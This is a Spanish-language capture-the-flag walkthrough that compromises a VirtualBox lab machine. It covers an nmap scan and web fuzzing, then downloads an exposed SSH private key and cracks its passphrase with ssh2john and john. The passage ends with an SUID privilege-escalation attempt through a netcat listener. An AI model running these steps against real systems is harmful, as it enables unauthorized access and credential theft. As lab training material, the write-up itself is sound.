Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 03:34 EDT
Nmap scan report for 192.168.1.175
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
| 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_ 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:34:61:07 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
Veremos que hay un puerto 80 que contiene una pagina web, por lo que si entramos veremos lo siguiente:
Website in maintenance... Come back next month please.
No veremos gran cosa por lo que vamos a realizar un poco de fuzzing:
Veremos una cosa bastante interesante que es /staff_statements.txt, vamos a ver que contiene:
The site is not yet repaired. Technicians are working on it by connecting with old ssh connection files.
Escalate user jack
Por lo que vemos nos esta dando una pista de que estan utilizando una clave PEM antigua para conectarse por SSH por lo que podemos creer que la extension es .bak vamos a probar a meter lo siguiente:
URL = http://<IP>/id_rsa.bak
Veremos que si ha funcionado, por lo que vamos a asignarle los permisos correctos al id_rsa:
chmod 600 id_rsa
Si recordamos antes cuando encendimos la maquina vimos que daba la bienvenida a un usuario llamado jack:
Por lo que vamos a probar a conectarnos por SSH de la siguiente forma:
ssh -i id_rsa jack@<IP>
Veremos que nos pide la clave de la id_rsa por lo que vamos a intentar crackearla.
Crack id_rsa con john
ssh2john id_rsa > hash.rsa
john --wordlist=<WORDLIST> hash.rsa
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bananas (id_rsa)
1g 0:00:00:46 DONE (2025-04-14 03:47) 0.02129g/s 20.44p/s 20.44c/s 20.44C/s whitney..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado, por lo que vamos a volver a conectarnos por SSH metiendo dicha contraseña:
SSH
ssh -i id_rsa jack@<IP>
Metemos como contraseña bananas y veremos que estaremos dentro.
Escalate user helder
Vamos a descargarnos el linpeas.sh para que nos enumere el sistema a ver que encuentra:
Vemos que esta leyendo root el passwd.txt de la carpeta de la home de nuestro usuario, pero como no existe y tambien vemos que hay un halder.txt en la carpeta de root vamos a crear un enlace simbolico hacia nuestra home de la siguiente forma:
Ahora si leemos passwd.txt veremos que no nos deja, pero tambien vemos que se esta ejecutando nc por el puerto 10000 mediante root pero tambien vemos que se esta estableciendo permisos SUID al out de la carpeta de root por lo que vamos a probar si podremos establecer los permisos a la bash enviandoselo por nc:
echo 'bash' | nc -lvnp 10000
Info:
listening on [any] 10000 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44944
Veremos que hizo conexion, ahora vamos a ver los permisos de la bash a ver si ha funcionado.